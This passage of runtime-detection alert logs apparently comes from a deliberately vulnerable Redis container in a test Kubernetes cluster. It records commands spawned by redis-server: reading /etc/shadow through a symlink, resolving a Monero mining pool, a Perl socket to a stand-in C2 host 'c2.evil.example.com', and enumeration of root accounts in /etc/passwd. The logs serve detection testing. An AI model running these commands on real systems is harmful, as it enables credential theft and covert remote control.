/tmp/shadow_link","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125965":{"pid":125965,"cmdline":"/usr/bin/cat /tmp/shadow_link","comm":"cat","ppid":125962,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cat with PID 125965","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/rm","-f","/tmp/shadow_link"],"exec":"/usr/bin/rm","message":"Unexpected process launched: rm with PID 125966"},"infectedPID":125966,"severity":1,"timestamp":"2026-04-12T17:02:40.534156526Z","trace":{},"uniqueID":"415e75cd1e3b8d1acb10b6a2e4f97e4e","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"rm","commandLine":"/usr/bin/rm -f /tmp/shadow_link"},"file":{"name":"rm","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125962":{"pid":125962,"cmdline":"/bin/sh -c ln -sf /etc/shadow /tmp/shadow_link 2\u003e\u00261 \u0026\u0026 cat /tmp/shadow_link 2\u003e/dev/null; rm -f /tmp/shadow_link","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"rm␟125966":{"pid":125966,"cmdline":"/usr/bin/rm -f /tmp/shadow_link","comm":"rm","ppid":125962,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/rm"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: rm with PID 125966","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125967"},"infectedPID":125967,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.552202533Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125967","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/getent","hosts","xmr.pool.minergate.com"],"exec":"/usr/bin/getent","message":"Unexpected process launched: getent with PID 125968"},"infectedPID":125968,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.554682381Z","trace":{},"uniqueID":"958f7edb33b2256841523d9453bf7212","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"getent","commandLine":"/usr/bin/getent hosts xmr.pool.minergate.com"},"file":{"name":"getent","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125968":{"pid":125968,"cmdline":"/usr/bin/getent hosts xmr.pool.minergate.com","comm":"getent","ppid":125967,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: getent with PID 125968","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"DNS Anomalies in container","arguments":{"addresses":null,"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","domain":"xmr.pool.minergate.com.","message":"Unexpected domain communication: xmr.pool.minergate.com. from: redis","port":51698,"protocol":"UDP"},"infectedPID":125968,"severity":1,"timestamp":"2026-04-12T17:02:40.582825849Z","trace":{},"uniqueID":"53fb4d02b87d933de81a69c3ed2a059c","profileMetadata":{"failOnProfile":false,"type":1,"errorMessage":"waiting for profile update"},"identifiers":{"process":{"name":"getent"},"dns":{"domain":"xmr.pool.minergate.com."},"network":{"protocol":"UDP"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0005","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125968":{"pid":125968,"cmdline":"/usr/bin/getent hosts xmr.pool.minergate.com","comm":"getent","ppid":125967,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected domain communication: xmr.pool.minergate.com. from: redis","msg":"DNS Anomalies in container","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Crypto Mining Domain Communication","arguments":{"addresses":null,"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","domain":"xmr.pool.minergate.com.","message":"Communication with a known crypto mining domain: xmr.pool.minergate.com.","port":51698,"protocol":"UDP"},"infectedPID":125968,"severity":10,"timestamp":"2026-04-12T17:02:40.582825849Z","trace":{},"uniqueID":"41b6ce338bcdf94750924d7fa9462f26","identifiers":{"process":{"name":"getent"},"dns":{"domain":"xmr.pool.minergate.com."},"network":{"protocol":"UDP"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R1008","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125968":{"pid":125968,"cmdline":"/usr/bin/getent hosts xmr.pool.minergate.com","comm":"getent","ppid":125967,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Communication with a known crypto mining domain: xmr.pool.minergate.com.","msg":"Crypto Mining Domain Communication","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"DNS Anomalies in container","arguments":{"addresses":["49.12.80.38","49.12.80.40","49.12.80.39"],"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","domain":"xmr.pool.minergate.com.","message":"Unexpected domain communication: xmr.pool.minergate.com. from: redis","port":55937,"protocol":"UDP"},"infectedPID":125968,"severity":1,"timestamp":"2026-04-12T17:02:40.604726017Z","trace":{},"uniqueID":"53fb4d02b87d933de81a69c3ed2a059c","profileMetadata":{"failOnProfile":false,"type":1,"errorMessage":"waiting for profile update"},"identifiers":{"process":{"name":"getent"},"dns":{"domain":"xmr.pool.minergate.com."},"network":{"dstIP":"49.12.80.38","protocol":"UDP"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0005","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125968":{"pid":125968,"cmdline":"/usr/bin/getent hosts xmr.pool.minergate.com","comm":"getent","ppid":125967,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected domain communication: xmr.pool.minergate.com. from: redis","msg":"DNS Anomalies in container","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Crypto Mining Domain Communication","arguments":{"addresses":["49.12.80.38","49.12.80.40","49.12.80.39"],"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","domain":"xmr.pool.minergate.com.","message":"Communication with a known crypto mining domain: xmr.pool.minergate.com.","port":55937,"protocol":"UDP"},"infectedPID":125968,"severity":10,"timestamp":"2026-04-12T17:02:40.604726017Z","trace":{},"uniqueID":"41b6ce338bcdf94750924d7fa9462f26","identifiers":{"process":{"name":"getent"},"dns":{"domain":"xmr.pool.minergate.com."},"network":{"dstIP":"49.12.80.38","protocol":"UDP"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R1008","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125967":{"pid":125967,"cmdline":"/bin/sh -c getent hosts xmr.pool.minergate.com 2\u003e\u00261 || echo mining_dns_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"getent␟125968":{"pid":125968,"cmdline":"/usr/bin/getent hosts xmr.pool.minergate.com","comm":"getent","ppid":125967,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/getent"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Communication with a known crypto mining domain: xmr.pool.minergate.com.","msg":"Crypto Mining Domain Communication","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/perl","-e","use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";"],"exec":"/usr/bin/perl","message":"Unexpected process launched: perl with PID 125970"},"infectedPID":125970,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.624362655Z","trace":{},"uniqueID":"452b0edfe862133c04a3660218ac80bb","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"perl","commandLine":"/usr/bin/perl -e use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";"},"file":{"name":"perl","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125969":{"pid":125969,"cmdline":"/bin/sh -c perl -e 'use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";' 2\u003e\u00261; echo perl_http_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"perl␟125970":{"pid":125970,"cmdline":"/usr/bin/perl -e use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";","comm":"perl","ppid":125969,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/perl"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: perl with PID 125970","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","perl -e 'use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";' 2\u003e\u00261; echo perl_http_done"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125969"},"infectedPID":125969,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.621939644Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c perl -e 'use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";' 2\u003e\u00261; echo perl_http_done"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125969":{"pid":125969,"cmdline":"/bin/sh -c perl -e 'use IO::Socket::INET;my $s=IO::Socket::INET-\u003enew(PeerAddr=\u003e\"c2.evil.example.com\",PeerPort=\u003e80,Timeout=\u003e2);print defined $s ? \"connected\" : \"connect_failed\";' 2\u003e\u00261; echo perl_http_done","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125969","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","awk -F: '$3==0{print $1}' /etc/passwd \u0026\u0026 id 2\u003e\u00261"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125971"},"infectedPID":125971,"severity":1,"timestamp":"2026-04-12T17:02:40.687586826Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c awk -F: '$3==0{print $1}' /etc/passwd \u0026\u0026 id 2\u003e\u00261"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125971":{"pid":125971,"cmdline":"/bin/sh -c awk -F: '$3==0{print $1}' /etc/passwd \u0026\u0026 id 2\u003e\u00261","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125971","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/awk","-F:","$3==0{print $1}","/etc/passwd"],"exec":"/usr/bin/awk","message":"Unexpected process launched: awk with PID 125972"},"infectedPID":125972,"severity":1,"timestamp":"2026-04-12T17:02:40.6900153Z","trace":{},"uniqueID":"8a87468834b08ad6a5ad17353e1b5639","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"awk","commandLine":"/usr/bin/awk -F: $3==0{print $1} /etc/passwd"},"file":{"name":"mawk","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125971":{"pid":125971,"cmdline":"/bin/sh -c awk -F: '$3==0{print $1}' /etc/passwd \u0026\u0026 id 